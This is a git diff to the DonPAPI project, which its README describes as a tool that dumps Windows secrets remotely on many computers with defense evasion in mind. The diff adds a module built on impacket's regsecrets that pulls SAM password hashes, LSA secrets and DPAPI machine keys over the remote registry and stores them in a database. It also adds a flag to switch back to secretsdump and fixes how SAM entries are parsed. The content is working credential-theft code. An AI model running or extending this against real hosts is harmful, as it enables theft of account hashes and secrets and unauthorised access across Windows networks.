diff --git a/README.md b/README.md index 8bf6cab..a43bea3 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # DonPAPI -DonPAPI automates secrets dump remotely on multiple Windows computers, with defense evasion in mind. +DonPAPI automates regsecrets (or secretsdump) remotely on multiple Windows computers, with defense evasion in mind. ![DonPAPI Logo](./assets/Logo%20DonPapi.png) @@ -132,6 +132,7 @@ attacks: Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all previous) (default: All) -nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials) + -sc, --secretsdump Use secretsdumps instead of regsecrets for dumping SAM and LSA --fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller --pvkfile PVKFILE Pvk file with domain backup key --pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys diff --git a/donpapi/core.py b/donpapi/core.py index 01eb776..0bf7095 100644 --- a/donpapi/core.py +++ b/donpapi/core.py @@ -2,11 +2,13 @@ import json import ntpath import os +import traceback from typing import Dict, List from impacket.dcerpc.v5 import rrp from donpapi.lib.config import DEFAULT_CUSTOM_SHARE, DonPAPIConfig from donpapi.lib.database import Database -from donpapi.lib.secretsdump import DonPAPIRemoteOperations, LSADump, SAMDump +from donpapi.lib import regsecrets +from donpapi.lib import secretsdump from dploot.lib.target import Target from dploot.lib.smb import DPLootSMBConnection from dploot.triage.masterkeys import MasterkeysTriage, Masterkey @@ -46,6 +48,8 @@ def __init__(self, options: argparse.Namespace, db: Database, target: str, colle self.lsa_dump = None self.dpapi_systemkey = None self.hostname = None + self.do_kerberos = options.k + self.use_secretsdump = options.secretsdump self.dploot_target = Target.create( domain=options.domain, username=options.username if options.username is not None else "", @@ -116,15 +120,28 @@ def enable_remoteops(self): if self.dploot_conn is not None and self.remoteops_allowed: try: if self.dpp_remoteops is None: - self.dpp_remoteops = DonPAPIRemoteOperations( - smb_connection=self.dploot_conn.smb_session, - logger=self.logger, - share_name=self.donpapi_config.custom_share, - file_extension=self.donpapi_config.custom_file_extension, - filename_regex=self.donpapi_config.custom_filename_regex, - remote_filepath=self.donpapi_config.custom_remote_filepath, - ) + if self.use_secretsdump: + self.dpp_remoteops = secretsdump.DonPAPIRemoteOperations( + smb_connection=self.dploot_conn.smb_session, + logger=self.logger, + share_name=self.donpapi_config.custom_share, + file_extension=self.donpapi_config.custom_file_extension, + filename_regex=self.donpapi_config.custom_filename_regex, + remote_filepath=self.donpapi_config.custom_remote_filepath, + ) + else: + self.dpp_remoteops = regsecrets.DonPAPIRemoteOperations( + smbConnection=self.dploot_conn.smb_session, + doKerberos=self.do_kerberos + ) + self.dpp_remoteops.enableRegistry() + + if self.use_secretsdump: + self.rrp = self.dpp_remoteops._DonPAPIRemoteOperations__rrp + else: + self.rrp = self.dpp_remoteops._RemoteOperations__rrp + if self.bootkey is None: self.bootkey = self.dpp_remoteops.getBootKey() except Exception as e: @@ -136,45 +153,50 @@ def reg_query_value(self,path,key): self.enable_remoteops() if path[:4] == "HKCU": path = path[5:] - ans = rrp.hOpenCurrentUser(self.dpp_remoteops._DonPAPIRemoteOperations__rrp) + ans = rrp.hOpenCurrentUser(self.rrp) else: if path[:4] == "HKLM": path = path[5:] - ans = rrp.hOpenLocalMachine(self.dpp_remoteops._DonPAPIRemoteOperations__rrp) + ans = rrp.hOpenLocalMachine(self.rrp) reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey( - self.dpp_remoteops._DonPAPIRemoteOperations__rrp, - reg_handle, - path, - ) + self.rrp, reg_handle, path) key_handle = ans["phkResult"] - value = rrp.hBaseRegQueryValue(self.dpp_remoteops._DonPAPIRemoteOperations__rrp, key_handle, key) + value = rrp.hBaseRegQueryValue(self.rrp, key_handle, key) return value def dump_sam(self) -> Dict[str,str]: if self.sam_dump is not None: return self.sam_dump self.enable_remoteops() - samdump = SAMDump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey) + if self.use_secretsdump: + samdump = secretsdump.SAMDump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey) + else: + samdump = regsecrets.SAMDump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey) try: samdump.dump() samdump.save_to_db(self.db, self.host) self.sam_dump = samdump except: self.logger.fail("Could not dump SAM.") + self.logger.debug(traceback.format_exc()) return self.sam_dump def dump_lsa(self) -> Dict[str,str]: if self.lsa_dump is not None: return self.lsa_dump self.enable_remoteops() - lsadump = LSADump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey) + if self.use_secretsdump: + lsadump = secretsdump.LSADump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey) + else: + lsadump = regsecrets.LSADump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey) try: lsadump.dump() lsadump.save_secrets_to_db(self.db, self.host) self.lsa_dump = lsadump except: self.logger.fail("Could not dump LSA") + self.logger.debug(traceback.format_exc()) return self.lsa_dump def get_laps_pass(self, hostname): diff --git a/donpapi/entry.py b/donpapi/entry.py index 1f36707..c757299 100644 --- a/donpapi/entry.py +++ b/donpapi/entry.py @@ -217,6 +217,7 @@ def main(): group_attacks = collect_subparser.add_argument_group('attacks') group_attacks.add_argument('-c','--collectors', action="store", default="All", help= ", ".join(load_collectors(root, [])[0])+", All (all previous) (default: All). Possible to chain multiple collectors comma separated") group_attacks.add_argument("-nr","--no-remoteops", action="store_true", help="Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)") + group_attacks.add_argument("-sc","--secretsdump", action="store_true", help="Use secretsdump instead of regsecrets for dumping SAM and LSA") group_attacks.add_argument("--fetch-pvk", action="store_true", help=("Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller")) group_attacks.add_argument("--pvkfile", action="store", help=("Pvk file with domain backup key")) group_attacks.add_argument("--pwdfile", action="store", help=("File containing username:password that will be used eventually to decrypt masterkeys")) diff --git a/donpapi/lib/regsecrets.py b/donpapi/lib/regsecrets.py new file mode 100644 index 0000000..cf932dc --- /dev/null +++ b/donpapi/lib/regsecrets.py @@ -0,0 +1,64 @@ +from binascii import unhexlify +import logging +from impacket.examples.regsecrets import LSASecrets, SAMHashes, RemoteOperations + +class SAMDump: + def __init__(self, remote_ops, bootkey) -> None: + self.remote_ops = remote_ops + self.bootkey = bootkey + + self.sam = None + self.items_found = None + + def dump(self): + logging.getLogger("impacket").disabled = True + self.sam = SAMHashes(bootKey=self.bootkey, perSecretCallback = self.idle, remoteOps=self.remote_ops) + self.sam.dump() + self.items_found = self.sam._SAMHashes__itemsFound + + def save_to_db(self, db, hostname): + for sam_entry in self.items_found.values(): + entry = sam_entry.split(':') + db.add_samhash(sam_entry, hostname) + db.add_secret(computer=hostname,collector="SAM",windows_user="SYSTEM",username=entry[0],password=entry[3],program="SAM") + + def idle(self, _): + pass + +class LSADump(LSASecrets): + def __init__(self, remote_ops, bootkey) -> None: + self.remote_ops = remote_ops + self.bootkey = bootkey + + self.lsa = None + self.secrets = None + + def dump(self): + logging.getLogger("impacket").disabled = True + self.lsa = LSASecrets(bootKey=self.bootkey, perSecretCallback = self.idle, remoteOps=self.remote_ops) + self.lsa.dumpSecrets() + self.secrets = self.lsa._LSASecrets__secretItems + + def get_dpapiSystem_keys(self): + dpapiSystem = {} + for secret in self.secrets: + if secret.startswith("dpapi_machinekey:"): + machineKey, userKey = secret.split('\n') + machineKey = machineKey.split(':')[1] + userKey = userKey.split(':')[1] + dpapiSystem['MachineKey'] = unhexlify(machineKey[2:]) + dpapiSystem['UserKey'] = unhexlify(userKey[2:]) + return dpapiSystem + + def save_secrets_to_db(self, db, hostname): + for lsa_secret in self.secrets: + if lsa_secret.count(':')==1: + username, password = lsa_secret.split(':') + if username not in ['dpapi_machinekey', 'dpapi_userkey', 'NL$KM']: + db.add_secret(computer=hostname, windows_user="SYSTEM", username=username, password=password, collector="LSA") + + def idle(self, _, _2): + pass + +class DonPAPIRemoteOperations(RemoteOperations): + pass diff --git a/donpapi/lib/secretsdump.py b/donpapi/lib/secretsdump.py index e682232..8863494 100644 --- a/donpapi/lib/secretsdump.py +++ b/donpapi/lib/secretsdump.py @@ -29,8 +29,9 @@ def dump(self): def save_to_db(self, db, hostname): for sam_entry in self.items_found.values(): + entry = sam_entry.split(':') db.add_samhash(sam_entry, hostname) - db.add_secret(computer=hostname,collector="SAM",windows_user="SYSTEM",username=sam_entry["username"],password=sam_entry["nthash"],program="SAM") + db.add_secret(computer=hostname,collector="SAM",windows_user="SYSTEM",username=entry[0],password=entry[3],program="SAM") def idle(self, _): pass diff --git a/pyproject.toml b/pyproject.toml index 99e6703..c830529 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -27,7 +27,7 @@ dpp = 'donpapi.entry:main' [tool.poetry.dependencies] python = "^3.10.0" -impacket = ">=0.12.0" +impacket = ">=0.13.0" dploot = "^3.1.2" rich = "^13.7.0" sqlalchemy = "^2.0.25"